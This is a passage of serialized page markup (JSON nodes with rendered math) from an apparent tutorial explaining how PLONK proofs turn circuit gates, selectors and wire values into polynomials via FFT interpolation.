",{"type":25,"tag":115,"props":143120,"children":143122},{"className":143121},[5485,5486],[143123],{"type":25,"tag":201,"props":143124,"children":143126},{"className":143125},[5491],[143127],{"type":25,"tag":201,"props":143128,"children":143130},{"className":143129,"ariaHidden":5497},[5496],[143131,143193,143255],{"type":25,"tag":201,"props":143132,"children":143134},{"className":143133},[5502],[143135,143139,143180,143184,143189],{"type":25,"tag":201,"props":143136,"children":143138},{"className":143137,"style":124468},[5507],[],{"type":25,"tag":201,"props":143140,"children":143142},{"className":143141},[5513],[143143,143148],{"type":25,"tag":201,"props":143144,"children":143146},{"className":143145,"style":94617},[5513,23083],[143147],{"type":31,"value":4620},{"type":25,"tag":201,"props":143149,"children":143151},{"className":143150},[5529],[143152],{"type":25,"tag":201,"props":143153,"children":143155},{"className":143154},[5534],[143156],{"type":25,"tag":201,"props":143157,"children":143159},{"className":143158},[5539],[143160],{"type":25,"tag":201,"props":143161,"children":143163},{"className":143162,"style":5508},[5544],[143164],{"type":25,"tag":201,"props":143165,"children":143166},{"style":5548},[143167,143171],{"type":25,"tag":201,"props":143168,"children":143170},{"className":143169,"style":5554},[5553],[],{"type":25,"tag":201,"props":143172,"children":143174},{"className":143173},[5559,5560,5561,5562],[143175],{"type":25,"tag":201,"props":143176,"children":143178},{"className":143177},[5513,5562],[143179],{"type":31,"value":4629},{"type":25,"tag":201,"props":143181,"children":143183},{"className":143182,"style":5691},[5593],[],{"type":25,"tag":201,"props":143185,"children":143187},{"className":143186},[5696],[143188],{"type":31,"value":1383},{"type":25,"tag":201,"props":143190,"children":143192},{"className":143191,"style":5691},[5593],[],{"type":25,"tag":201,"props":143194,"children":143196},{"className":143195},[5502],[143197,143201,143242,143246,143251],{"type":25,"tag":201,"props":143198,"children":143200},{"className":143199,"style":124343},[5507],[],{"type":25,"tag":201,"props":143202,"children":143204},{"className":143203},[5513],[143205,143210],{"type":25,"tag":201,"props":143206,"children":143208},{"className":143207},[5513,23083],[143209],{"type":31,"value":1606},{"type":25,"tag":201,"props":143211,"children":143213},{"className":143212},[5529],[143214],{"type":25,"tag":201,"props":143215,"children":143217},{"className":143216},[5534],[143218],{"type":25,"tag":201,"props":143219,"children":143221},{"className":143220},[5539],[143222],{"type":25,"tag":201,"props":143223,"children":143225},{"className":143224,"style":5508},[5544],[143226],{"type":25,"tag":201,"props":143227,"children":143228},{"style":5548},[143229,143233],{"type":25,"tag":201,"props":143230,"children":143232},{"className":143231,"style":5554},[5553],[],{"type":25,"tag":201,"props":143234,"children":143236},{"className":143235},[5559,5560,5561,5562],[143237],{"type":25,"tag":201,"props":143238,"children":143240},{"className":143239},[5513,5562],[143241],{"type":31,"value":18792},{"type":25,"tag":201,"props":143243,"children":143245},{"className":143244,"style":5594},[5593],[],{"type":25,"tag":201,"props":143247,"children":143249},{"className":143248},[5599],[143250],{"type":31,"value":5886},{"type":25,"tag":201,"props":143252,"children":143254},{"className":143253,"style":5594},[5593],[],{"type":25,"tag":201,"props":143256,"children":143258},{"className":143257},[5502],[143259,143263],{"type":25,"tag":201,"props":143260,"children":143262},{"className":143261,"style":95162},[5507],[],{"type":25,"tag":201,"props":143264,"children":143266},{"className":143265},[5513],[143267],{"type":31,"value":55749},{"type":31,"value":143269},", here in ",{"type":25,"tag":115,"props":143271,"children":143273},{"className":143272},[5485,5486],[143274],{"type":25,"tag":201,"props":143275,"children":143277},{"className":143276},[5491],[143278],{"type":25,"tag":201,"props":143279,"children":143281},{"className":143280,"ariaHidden":5497},[5496],[143282],{"type":25,"tag":201,"props":143283,"children":143285},{"className":143284},[5502],[143286,143291],{"type":25,"tag":201,"props":143287,"children":143290},{"className":143288,"style":143289},[5507],"height:0.8389em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":143292,"children":143294},{"className":143293},[5513],[143295,143300],{"type":25,"tag":201,"props":143296,"children":143298},{"className":143297},[5513,122906],[143299],{"type":31,"value":122909},{"type":25,"tag":201,"props":143301,"children":143303},{"className":143302},[5529],[143304],{"type":25,"tag":201,"props":143305,"children":143307},{"className":143306},[5534,23137],[143308,143342],{"type":25,"tag":201,"props":143309,"children":143311},{"className":143310},[5539],[143312,143337],{"type":25,"tag":201,"props":143313,"children":143315},{"className":143314,"style":94183},[5544],[143316],{"type":25,"tag":201,"props":143317,"children":143318},{"style":94187},[143319,143323],{"type":25,"tag":201,"props":143320,"children":143322},{"className":143321,"style":5554},[5553],[],{"type":25,"tag":201,"props":143324,"children":143326},{"className":143325},[5559,5560,5561,5562],[143327],{"type":25,"tag":201,"props":143328,"children":143330},{"className":143329},[5513,5562],[143331],{"type":25,"tag":201,"props":143332,"children":143334},{"className":143333},[5513,5562],[143335],{"type":31,"value":143336},"37",{"type":25,"tag":201,"props":143338,"children":143340},{"className":143339},[23240],[143341],{"type":31,"value":23243},{"type":25,"tag":201,"props":143343,"children":143345},{"className":143344},[5539],[143346],{"type":25,"tag":201,"props":143347,"children":143349},{"className":143348,"style":94214},[5544],[143350],{"type":25,"tag":201,"props":143351,"children":143352},{},[],{"type":31,"value":80},{"type":25,"tag":143355,"props":143356,"children":143357},"arithmetic-circuit-widget",{},[],{"type":25,"tag":34,"props":143359,"children":143360},{},[143361,143363,143389,143391,143470,143472,143549,143551,143628],{"type":31,"value":143362},"Each gate ",{"type":25,"tag":115,"props":143364,"children":143366},{"className":143365},[5485,5486],[143367],{"type":25,"tag":201,"props":143368,"children":143370},{"className":143369},[5491],[143371],{"type":25,"tag":201,"props":143372,"children":143374},{"className":143373,"ariaHidden":5497},[5496],[143375],{"type":25,"tag":201,"props":143376,"children":143378},{"className":143377},[5502],[143379,143384],{"type":25,"tag":201,"props":143380,"children":143383},{"className":143381,"style":143382},[5507],"height:0.6595em;",[],{"type":25,"tag":201,"props":143385,"children":143387},{"className":143386},[5513,23083],[143388],{"type":31,"value":3641},{"type":31,"value":143390}," has a left input ",{"type":25,"tag":115,"props":143392,"children":143394},{"className":143393},[5485,5486],[143395],{"type":25,"tag":201,"props":143396,"children":143398},{"className":143397},[5491],[143399],{"type":25,"tag":201,"props":143400,"children":143402},{"className":143401,"ariaHidden":5497},[5496],[143403],{"type":25,"tag":201,"props":143404,"children":143406},{"className":143405},[5502],[143407,143412],{"type":25,"tag":201,"props":143408,"children":143411},{"className":143409,"style":143410},[5507],"height:0.8444em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":143413,"children":143415},{"className":143414},[5513],[143416,143421],{"type":25,"tag":201,"props":143417,"children":143419},{"className":143418,"style":94143},[5513,23083],[143420],{"type":31,"value":94146},{"type":25,"tag":201,"props":143422,"children":143424},{"className":143423},[5529],[143425],{"type":25,"tag":201,"props":143426,"children":143428},{"className":143427},[5534,23137],[143429,143459],{"type":25,"tag":201,"props":143430,"children":143432},{"className":143431},[5539],[143433,143454],{"type":25,"tag":201,"props":143434,"children":143436},{"className":143435,"style":94660},[5544],[143437],{"type":25,"tag":201,"props":143438,"children":143440},{"style":143439},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[143441,143445],{"type":25,"tag":201,"props":143442,"children":143444},{"className":143443,"style":5554},[5553],[],{"type":25,"tag":201,"props":143446,"children":143448},{"className":143447},[5559,5560,5561,5562],[143449],{"type":25,"tag":201,"props":143450,"children":143452},{"className":143451},[5513,23083,5562],[143453],{"type":31,"value":3641},{"type":25,"tag":201,"props":143455,"children":143457},{"className":143456},[23240],[143458],{"type":31,"value":23243},{"type":25,"tag":201,"props":143460,"children":143462},{"className":143461},[5539],[143463],{"type":25,"tag":201,"props":143464,"children":143466},{"className":143465,"style":94214},[5544],[143467],{"type":25,"tag":201,"props":143468,"children":143469},{},[],{"type":31,"value":143471},", right input ",{"type":25,"tag":115,"props":143473,"children":143475},{"className":143474},[5485,5486],[143476],{"type":25,"tag":201,"props":143477,"children":143479},{"className":143478},[5491],[143480],{"type":25,"tag":201,"props":143481,"children":143483},{"className":143482,"ariaHidden":5497},[5496],[143484],{"type":25,"tag":201,"props":143485,"children":143487},{"className":143486},[5502],[143488,143492],{"type":25,"tag":201,"props":143489,"children":143491},{"className":143490,"style":111101},[5507],[],{"type":25,"tag":201,"props":143493,"children":143495},{"className":143494},[5513],[143496,143501],{"type":25,"tag":201,"props":143497,"children":143499},{"className":143498,"style":94131},[5513,23083],[143500],{"type":31,"value":94950},{"type":25,"tag":201,"props":143502,"children":143504},{"className":143503},[5529],[143505],{"type":25,"tag":201,"props":143506,"children":143508},{"className":143507},[5534,23137],[143509,143538],{"type":25,"tag":201,"props":143510,"children":143512},{"className":143511},[5539],[143513,143533],{"type":25,"tag":201,"props":143514,"children":143516},{"className":143515,"style":94660},[5544],[143517],{"type":25,"tag":201,"props":143518,"children":143519},{"style":111130},[143520,143524],{"type":25,"tag":201,"props":143521,"children":143523},{"className":143522,"style":5554},[5553],[],{"type":25,"tag":201,"props":143525,"children":143527},{"className":143526},[5559,5560,5561,5562],[143528],{"type":25,"tag":201,"props":143529,"children":143531},{"className":143530},[5513,23083,5562],[143532],{"type":31,"value":3641},{"type":25,"tag":201,"props":143534,"children":143536},{"className":143535},[23240],[143537],{"type":31,"value":23243},{"type":25,"tag":201,"props":143539,"children":143541},{"className":143540},[5539],[143542],{"type":25,"tag":201,"props":143543,"children":143545},{"className":143544,"style":94214},[5544],[143546],{"type":25,"tag":201,"props":143547,"children":143548},{},[],{"type":31,"value":143550},", and output ",{"type":25,"tag":115,"props":143552,"children":143554},{"className":143553},[5485,5486],[143555],{"type":25,"tag":201,"props":143556,"children":143558},{"className":143557},[5491],[143559],{"type":25,"tag":201,"props":143560,"children":143562},{"className":143561,"ariaHidden":5497},[5496],[143563],{"type":25,"tag":201,"props":143564,"children":143566},{"className":143565},[5502],[143567,143571],{"type":25,"tag":201,"props":143568,"children":143570},{"className":143569,"style":111101},[5507],[],{"type":25,"tag":201,"props":143572,"children":143574},{"className":143573},[5513],[143575,143580],{"type":25,"tag":201,"props":143576,"children":143578},{"className":143577},[5513,23083],[143579],{"type":31,"value":94101},{"type":25,"tag":201,"props":143581,"children":143583},{"className":143582},[5529],[143584],{"type":25,"tag":201,"props":143585,"children":143587},{"className":143586},[5534,23137],[143588,143617],{"type":25,"tag":201,"props":143589,"children":143591},{"className":143590},[5539],[143592,143612],{"type":25,"tag":201,"props":143593,"children":143595},{"className":143594,"style":94660},[5544],[143596],{"type":25,"tag":201,"props":143597,"children":143598},{"style":94187},[143599,143603],{"type":25,"tag":201,"props":143600,"children":143602},{"className":143601,"style":5554},[5553],[],{"type":25,"tag":201,"props":143604,"children":143606},{"className":143605},[5559,5560,5561,5562],[143607],{"type":25,"tag":201,"props":143608,"children":143610},{"className":143609},[5513,23083,5562],[143611],{"type":31,"value":3641},{"type":25,"tag":201,"props":143613,"children":143615},{"className":143614},[23240],[143616],{"type":31,"value":23243},{"type":25,"tag":201,"props":143618,"children":143620},{"className":143619},[5539],[143621],{"type":25,"tag":201,"props":143622,"children":143624},{"className":143623,"style":94214},[5544],[143625],{"type":25,"tag":201,"props":143626,"children":143627},{},[],{"type":31,"value":143629},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":25,"tag":34,"props":143631,"children":143632},{},[143633,143635,143640,143642,143746,143748,143851,143853,143858],{"type":31,"value":143634},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":25,"tag":65,"props":143636,"children":143637},{},[143638],{"type":31,"value":143639},"selector",{"type":31,"value":143641}," values that act as switches: setting ",{"type":25,"tag":115,"props":143643,"children":143645},{"className":143644},[5485,5486],[143646],{"type":25,"tag":201,"props":143647,"children":143649},{"className":143648},[5491],[143650],{"type":25,"tag":201,"props":143651,"children":143653},{"className":143652,"ariaHidden":5497},[5496],[143654,143733],{"type":25,"tag":201,"props":143655,"children":143657},{"className":143656},[5502],[143658,143662,143720,143724,143729],{"type":25,"tag":201,"props":143659,"children":143661},{"className":143660,"style":111021},[5507],[],{"type":25,"tag":201,"props":143663,"children":143665},{"className":143664},[5513],[143666,143671],{"type":25,"tag":201,"props":143667,"children":143669},{"className":143668,"style":94617},[5513,23083],[143670],{"type":31,"value":94620},{"type":25,"tag":201,"props":143672,"children":143674},{"className":143673},[5529],[143675],{"type":25,"tag":201,"props":143676,"children":143678},{"className":143677},[5534,23137],[143679,143709],{"type":25,"tag":201,"props":143680,"children":143682},{"className":143681},[5539],[143683,143704],{"type":25,"tag":201,"props":143684,"children":143687},{"className":143685,"style":143686},[5544],"height:0.3283em;",[143688],{"type":25,"tag":201,"props":143689,"children":143690},{"style":94664},[143691,143695],{"type":25,"tag":201,"props":143692,"children":143694},{"className":143693,"style":5554},[5553],[],{"type":25,"tag":201,"props":143696,"children":143698},{"className":143697},[5559,5560,5561,5562],[143699],{"type":25,"tag":201,"props":143700,"children":143702},{"className":143701,"style":96139},[5513,23083,5562],[143703],{"type":31,"value":96142},{"type":25,"tag":201,"props":143705,"children":143707},{"className":143706},[23240],[143708],{"type":31,"value":23243},{"type":25,"tag":201,"props":143710,"children":143712},{"className":143711},[5539],[143713],{"type":25,"tag":201,"props":143714,"children":143716},{"className":143715,"style":94214},[5544],[143717],{"type":25,"tag":201,"props":143718,"children":143719},{},[],{"type":25,"tag":201,"props":143721,"children":143723},{"className":143722,"style":5691},[5593],[],{"type":25,"tag":201,"props":143725,"children":143727},{"className":143726},[5696],[143728],{"type":31,"value":1383},{"type":25,"tag":201,"props":143730,"children":143732},{"className":143731,"style":5691},[5593],[],{"type":25,"tag":201,"props":143734,"children":143736},{"className":143735},[5502],[143737,143741],{"type":25,"tag":201,"props":143738,"children":143740},{"className":143739,"style":95162},[5507],[],{"type":25,"tag":201,"props":143742,"children":143744},{"className":143743},[5513],[143745],{"type":31,"value":5516},{"type":31,"value":143747}," makes a row a multiplication gate, setting ",{"type":25,"tag":115,"props":143749,"children":143751},{"className":143750},[5485,5486],[143752],{"type":25,"tag":201,"props":143753,"children":143755},{"className":143754},[5491],[143756],{"type":25,"tag":201,"props":143757,"children":143759},{"className":143758,"ariaHidden":5497},[5496],[143760,143838],{"type":25,"tag":201,"props":143761,"children":143763},{"className":143762},[5502],[143764,143768,143825,143829,143834],{"type":25,"tag":201,"props":143765,"children":143767},{"className":143766,"style":111021},[5507],[],{"type":25,"tag":201,"props":143769,"children":143771},{"className":143770},[5513],[143772,143777],{"type":25,"tag":201,"props":143773,"children":143775},{"className":143774,"style":94617},[5513,23083],[143776],{"type":31,"value":94620},{"type":25,"tag":201,"props":143778,"children":143780},{"className":143779},[5529],[143781],{"type":25,"tag":201,"props":143782,"children":143784},{"className":143783},[5534,23137],[143785,143814],{"type":25,"tag":201,"props":143786,"children":143788},{"className":143787},[5539],[143789,143809],{"type":25,"tag":201,"props":143790,"children":143792},{"className":143791,"style":143686},[5544],[143793],{"type":25,"tag":201,"props":143794,"children":143795},{"style":94664},[143796,143800],{"type":25,"tag":201,"props":143797,"children":143799},{"className":143798,"style":5554},[5553],[],{"type":25,"tag":201,"props":143801,"children":143803},{"className":143802},[5559,5560,5561,5562],[143804],{"type":25,"tag":201,"props":143805,"children":143807},{"className":143806},[5513,23083,5562],[143808],{"type":31,"value":119095},{"type":25,"tag":201,"props":143810,"children":143812},{"className":143811},[23240],[143813],{"type":31,"value":23243},{"type":25,"tag":201,"props":143815,"children":143817},{"className":143816},[5539],[143818],{"type":25,"tag":201,"props":143819,"children":143821},{"className":143820,"style":94214},[5544],[143822],{"type":25,"tag":201,"props":143823,"children":143824},{},[],{"type":25,"tag":201,"props":143826,"children":143828},{"className":143827,"style":5691},[5593],[],{"type":25,"tag":201,"props":143830,"children":143832},{"className":143831},[5696],[143833],{"type":31,"value":1383},{"type":25,"tag":201,"props":143835,"children":143837},{"className":143836,"style":5691},[5593],[],{"type":25,"tag":201,"props":143839,"children":143841},{"className":143840},[5502],[143842,143846],{"type":25,"tag":201,"props":143843,"children":143845},{"className":143844,"style":95162},[5507],[],{"type":25,"tag":201,"props":143847,"children":143849},{"className":143848},[5513],[143850],{"type":31,"value":5516},{"type":31,"value":143852}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":25,"tag":65,"props":143854,"children":143855},{},[143856],{"type":31,"value":143857},"permutation argument",{"type":31,"value":143859}," for that, which we will not cover here.",{"type":25,"tag":40,"props":143861,"children":143863},{"id":143862},"from-many-checks-to-one",[143864],{"type":31,"value":143865},"From many checks to one",{"type":25,"tag":34,"props":143867,"children":143868},{},[143869,143871,143876,143877,143969,143970,144062,144063,144155,144157,144162,144163,144255,144256,144348,144350,144375,144377,144402,144404,144496,144498,144523,144525,144550],{"type":31,"value":143870},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":25,"tag":65,"props":143872,"children":143873},{},[143874],{"type":31,"value":143875},"witness polynomials",{"type":31,"value":7966},{"type":25,"tag":115,"props":143878,"children":143880},{"className":143879},[5485,5486],[143881],{"type":25,"tag":201,"props":143882,"children":143884},{"className":143883},[5491],[143885],{"type":25,"tag":201,"props":143886,"children":143888},{"className":143887,"ariaHidden":5497},[5496],[143889],{"type":25,"tag":201,"props":143890,"children":143892},{"className":143891},[5502],[143893,143897,143954,143959,143964],{"type":25,"tag":201,"props":143894,"children":143896},{"className":143895,"style":5614},[5507],[],{"type":25,"tag":201,"props":143898,"children":143900},{"className":143899},[5513],[143901,143906],{"type":25,"tag":201,"props":143902,"children":143904},{"className":143903,"style":96485},[5513,23083],[143905],{"type":31,"value":2020},{"type":25,"tag":201,"props":143907,"children":143909},{"className":143908},[5529],[143910],{"type":25,"tag":201,"props":143911,"children":143913},{"className":143912},[5534,23137],[143914,143943],{"type":25,"tag":201,"props":143915,"children":143917},{"className":143916},[5539],[143918,143938],{"type":25,"tag":201,"props":143919,"children":143921},{"className":143920,"style":143686},[5544],[143922],{"type":25,"tag":201,"props":143923,"children":143924},{"style":96506},[143925,143929],{"type":25,"tag":201,"props":143926,"children":143928},{"className":143927,"style":5554},[5553],[],{"type":25,"tag":201,"props":143930,"children":143932},{"className":143931},[5559,5560,5561,5562],[143933],{"type":25,"tag":201,"props":143934,"children":143936},{"className":143935},[5513,23083,5562],[143937],{"type":31,"value":119095},{"type":25,"tag":201,"props":143939,"children":143941},{"className":143940},[23240],[143942],{"type":31,"value":23243},{"type":25,"tag":201,"props":143944,"children":143946},{"className":143945},[5539],[143947],{"type":25,"tag":201,"props":143948,"children":143950},{"className":143949,"style":94214},[5544],[143951],{"type":25,"tag":201,"props":143952,"children":143953},{},[],{"type":25,"tag":201,"props":143955,"children":143957},{"className":143956},[23212],[143958],{"type":31,"value":298},{"type":25,"tag":201,"props":143960,"children":143962},{"className":143961},[5513,23083],[143963],{"type":31,"value":1606},{"type":25,"tag":201,"props":143965,"children":143967},{"className":143966},[23234],[143968],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":143971,"children":143973},{"className":143972},[5485,5486],[143974],{"type":25,"tag":201,"props":143975,"children":143977},{"className":143976},[5491],[143978],{"type":25,"tag":201,"props":143979,"children":143981},{"className":143980,"ariaHidden":5497},[5496],[143982],{"type":25,"tag":201,"props":143983,"children":143985},{"className":143984},[5502],[143986,143990,144047,144052,144057],{"type":25,"tag":201,"props":143987,"children":143989},{"className":143988,"style":5614},[5507],[],{"type":25,"tag":201,"props":143991,"children":143993},{"className":143992},[5513],[143994,143999],{"type":25,"tag":201,"props":143995,"children":143997},{"className":143996,"style":96485},[5513,23083],[143998],{"type":31,"value":2020},{"type":25,"tag":201,"props":144000,"children":144002},{"className":144001},[5529],[144003],{"type":25,"tag":201,"props":144004,"children":144006},{"className":144005},[5534,23137],[144007,144036],{"type":25,"tag":201,"props":144008,"children":144010},{"className":144009},[5539],[144011,144031],{"type":25,"tag":201,"props":144012,"children":144014},{"className":144013,"style":143686},[5544],[144015],{"type":25,"tag":201,"props":144016,"children":144017},{"style":96506},[144018,144022],{"type":25,"tag":201,"props":144019,"children":144021},{"className":144020,"style":5554},[5553],[],{"type":25,"tag":201,"props":144023,"children":144025},{"className":144024},[5559,5560,5561,5562],[144026],{"type":25,"tag":201,"props":144027,"children":144029},{"className":144028,"style":123908},[5513,23083,5562],[144030],{"type":31,"value":123911},{"type":25,"tag":201,"props":144032,"children":144034},{"className":144033},[23240],[144035],{"type":31,"value":23243},{"type":25,"tag":201,"props":144037,"children":144039},{"className":144038},[5539],[144040],{"type":25,"tag":201,"props":144041,"children":144043},{"className":144042,"style":94214},[5544],[144044],{"type":25,"tag":201,"props":144045,"children":144046},{},[],{"type":25,"tag":201,"props":144048,"children":144050},{"className":144049},[23212],[144051],{"type":31,"value":298},{"type":25,"tag":201,"props":144053,"children":144055},{"className":144054},[5513,23083],[144056],{"type":31,"value":1606},{"type":25,"tag":201,"props":144058,"children":144060},{"className":144059},[23234],[144061],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":144064,"children":144066},{"className":144065},[5485,5486],[144067],{"type":25,"tag":201,"props":144068,"children":144070},{"className":144069},[5491],[144071],{"type":25,"tag":201,"props":144072,"children":144074},{"className":144073,"ariaHidden":5497},[5496],[144075],{"type":25,"tag":201,"props":144076,"children":144078},{"className":144077},[5502],[144079,144083,144140,144145,144150],{"type":25,"tag":201,"props":144080,"children":144082},{"className":144081,"style":5614},[5507],[],{"type":25,"tag":201,"props":144084,"children":144086},{"className":144085},[5513],[144087,144092],{"type":25,"tag":201,"props":144088,"children":144090},{"className":144089,"style":96485},[5513,23083],[144091],{"type":31,"value":2020},{"type":25,"tag":201,"props":144093,"children":144095},{"className":144094},[5529],[144096],{"type":25,"tag":201,"props":144097,"children":144099},{"className":144098},[5534,23137],[144100,144129],{"type":25,"tag":201,"props":144101,"children":144103},{"className":144102},[5539],[144104,144124],{"type":25,"tag":201,"props":144105,"children":144107},{"className":144106,"style":143686},[5544],[144108],{"type":25,"tag":201,"props":144109,"children":144110},{"style":96506},[144111,144115],{"type":25,"tag":201,"props":144112,"children":144114},{"className":144113,"style":5554},[5553],[],{"type":25,"tag":201,"props":144116,"children":144118},{"className":144117},[5559,5560,5561,5562],[144119],{"type":25,"tag":201,"props":144120,"children":144122},{"className":144121,"style":94131},[5513,23083,5562],[144123],{"type":31,"value":116450},{"type":25,"tag":201,"props":144125,"children":144127},{"className":144126},[23240],[144128],{"type":31,"value":23243},{"type":25,"tag":201,"props":144130,"children":144132},{"className":144131},[5539],[144133],{"type":25,"tag":201,"props":144134,"children":144136},{"className":144135,"style":94214},[5544],[144137],{"type":25,"tag":201,"props":144138,"children":144139},{},[],{"type":25,"tag":201,"props":144141,"children":144143},{"className":144142},[23212],[144144],{"type":31,"value":298},{"type":25,"tag":201,"props":144146,"children":144148},{"className":144147},[5513,23083],[144149],{"type":31,"value":1606},{"type":25,"tag":201,"props":144151,"children":144153},{"className":144152},[23234],[144154],{"type":31,"value":3073},{"type":31,"value":144156}," and the selectors become ",{"type":25,"tag":65,"props":144158,"children":144159},{},[144160],{"type":31,"value":144161},"selector polynomials",{"type":31,"value":7966},{"type":25,"tag":115,"props":144164,"children":144166},{"className":144165},[5485,5486],[144167],{"type":25,"tag":201,"props":144168,"children":144170},{"className":144169},[5491],[144171],{"type":25,"tag":201,"props":144172,"children":144174},{"className":144173,"ariaHidden":5497},[5496],[144175],{"type":25,"tag":201,"props":144176,"children":144178},{"className":144177},[5502],[144179,144183,144240,144245,144250],{"type":25,"tag":201,"props":144180,"children":144182},{"className":144181,"style":5614},[5507],[],{"type":25,"tag":201,"props":144184,"children":144186},{"className":144185},[5513],[144187,144192],{"type":25,"tag":201,"props":144188,"children":144190},{"className":144189},[5513,23083],[144191],{"type":31,"value":77886},{"type":25,"tag":201,"props":144193,"children":144195},{"className":144194},[5529],[144196],{"type":25,"tag":201,"props":144197,"children":144199},{"className":144198},[5534,23137],[144200,144229],{"type":25,"tag":201,"props":144201,"children":144203},{"className":144202},[5539],[144204,144224],{"type":25,"tag":201,"props":144205,"children":144207},{"className":144206,"style":143686},[5544],[144208],{"type":25,"tag":201,"props":144209,"children":144210},{"style":94187},[144211,144215],{"type":25,"tag":201,"props":144212,"children":144214},{"className":144213,"style":5554},[5553],[],{"type":25,"tag":201,"props":144216,"children":144218},{"className":144217},[5559,5560,5561,5562],[144219],{"type":25,"tag":201,"props":144220,"children":144222},{"className":144221,"style":96139},[5513,23083,5562],[144223],{"type":31,"value":96142},{"type":25,"tag":201,"props":144225,"children":144227},{"className":144226},[23240],[144228],{"type":31,"value":23243},{"type":25,"tag":201,"props":144230,"children":144232},{"className":144231},[5539],[144233],{"type":25,"tag":201,"props":144234,"children":144236},{"className":144235,"style":94214},[5544],[144237],{"type":25,"tag":201,"props":144238,"children":144239},{},[],{"type":25,"tag":201,"props":144241,"children":144243},{"className":144242},[23212],[144244],{"type":31,"value":298},{"type":25,"tag":201,"props":144246,"children":144248},{"className":144247},[5513,23083],[144249],{"type":31,"value":1606},{"type":25,"tag":201,"props":144251,"children":144253},{"className":144252},[23234],[144254],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":144257,"children":144259},{"className":144258},[5485,5486],[144260],{"type":25,"tag":201,"props":144261,"children":144263},{"className":144262},[5491],[144264],{"type":25,"tag":201,"props":144265,"children":144267},{"className":144266,"ariaHidden":5497},[5496],[144268],{"type":25,"tag":201,"props":144269,"children":144271},{"className":144270},[5502],[144272,144276,144333,144338,144343],{"type":25,"tag":201,"props":144273,"children":144275},{"className":144274,"style":5614},[5507],[],{"type":25,"tag":201,"props":144277,"children":144279},{"className":144278},[5513],[144280,144285],{"type":25,"tag":201,"props":144281,"children":144283},{"className":144282},[5513,23083],[144284],{"type":31,"value":77886},{"type":25,"tag":201,"props":144286,"children":144288},{"className":144287},[5529],[144289],{"type":25,"tag":201,"props":144290,"children":144292},{"className":144291},[5534,23137],[144293,144322],{"type":25,"tag":201,"props":144294,"children":144296},{"className":144295},[5539],[144297,144317],{"type":25,"tag":201,"props":144298,"children":144300},{"className":144299,"style":143686},[5544],[144301],{"type":25,"tag":201,"props":144302,"children":144303},{"style":94187},[144304,144308],{"type":25,"tag":201,"props":144305,"children":144307},{"className":144306,"style":5554},[5553],[],{"type":25,"tag":201,"props":144309,"children":144311},{"className":144310},[5559,5560,5561,5562],[144312],{"type":25,"tag":201,"props":144313,"children":144315},{"className":144314},[5513,23083,5562],[144316],{"type":31,"value":119095},{"type":25,"tag":201,"props":144318,"children":144320},{"className":144319},[23240],[144321],{"type":31,"value":23243},{"type":25,"tag":201,"props":144323,"children":144325},{"className":144324},[5539],[144326],{"type":25,"tag":201,"props":144327,"children":144329},{"className":144328,"style":94214},[5544],[144330],{"type":25,"tag":201,"props":144331,"children":144332},{},[],{"type":25,"tag":201,"props":144334,"children":144336},{"className":144335},[23212],[144337],{"type":31,"value":298},{"type":25,"tag":201,"props":144339,"children":144341},{"className":144340},[5513,23083],[144342],{"type":31,"value":1606},{"type":25,"tag":201,"props":144344,"children":144346},{"className":144345},[23234],[144347],{"type":31,"value":3073},{"type":31,"value":144349},", etc., all interpolated over a domain ",{"type":25,"tag":115,"props":144351,"children":144353},{"className":144352},[5485,5486],[144354],{"type":25,"tag":201,"props":144355,"children":144357},{"className":144356},[5491],[144358],{"type":25,"tag":201,"props":144359,"children":144361},{"className":144360,"ariaHidden":5497},[5496],[144362],{"type":25,"tag":201,"props":144363,"children":144365},{"className":144364},[5502],[144366,144370],{"type":25,"tag":201,"props":144367,"children":144369},{"className":144368,"style":23078},[5507],[],{"type":25,"tag":201,"props":144371,"children":144373},{"className":144372,"style":94365},[5513,23083],[144374],{"type":31,"value":94368},{"type":31,"value":144376}," of ",{"type":25,"tag":115,"props":144378,"children":144380},{"className":144379},[5485,5486],[144381],{"type":25,"tag":201,"props":144382,"children":144384},{"className":144383},[5491],[144385],{"type":25,"tag":201,"props":144386,"children":144388},{"className":144387,"ariaHidden":5497},[5496],[144389],{"type":25,"tag":201,"props":144390,"children":144392},{"className":144391},[5502],[144393,144397],{"type":25,"tag":201,"props":144394,"children":144396},{"className":144395,"style":111972},[5507],[],{"type":25,"tag":201,"props":144398,"children":144400},{"className":144399},[5513,23083],[144401],{"type":31,"value":57482},{"type":31,"value":144403},"-th roots of unity. Evaluating ",{"type":25,"tag":115,"props":144405,"children":144407},{"className":144406},[5485,5486],[144408],{"type":25,"tag":201,"props":144409,"children":144411},{"className":144410},[5491],[144412],{"type":25,"tag":201,"props":144413,"children":144415},{"className":144414,"ariaHidden":5497},[5496],[144416],{"type":25,"tag":201,"props":144417,"children":144419},{"className":144418},[5502],[144420,144424,144481,144486,144491],{"type":25,"tag":201,"props":144421,"children":144423},{"className":144422,"style":5614},[5507],[],{"type":25,"tag":201,"props":144425,"children":144427},{"className":144426},[5513],[144428,144433],{"type":25,"tag":201,"props":144429,"children":144431},{"className":144430,"style":96485},[5513,23083],[144432],{"type":31,"value":2020},{"type":25,"tag":201,"props":144434,"children":144436},{"className":144435},[5529],[144437],{"type":25,"tag":201,"props":144438,"children":144440},{"className":144439},[5534,23137],[144441,144470],{"type":25,"tag":201,"props":144442,"children":144444},{"className":144443},[5539],[144445,144465],{"type":25,"tag":201,"props":144446,"children":144448},{"className":144447,"style":143686},[5544],[144449],{"type":25,"tag":201,"props":144450,"children":144451},{"style":96506},[144452,144456],{"type":25,"tag":201,"props":144453,"children":144455},{"className":144454,"style":5554},[5553],[],{"type":25,"tag":201,"props":144457,"children":144459},{"className":144458},[5559,5560,5561,5562],[144460],{"type":25,"tag":201,"props":144461,"children":144463},{"className":144462},[5513,23083,5562],[144464],{"type":31,"value":119095},{"type":25,"tag":201,"props":144466,"children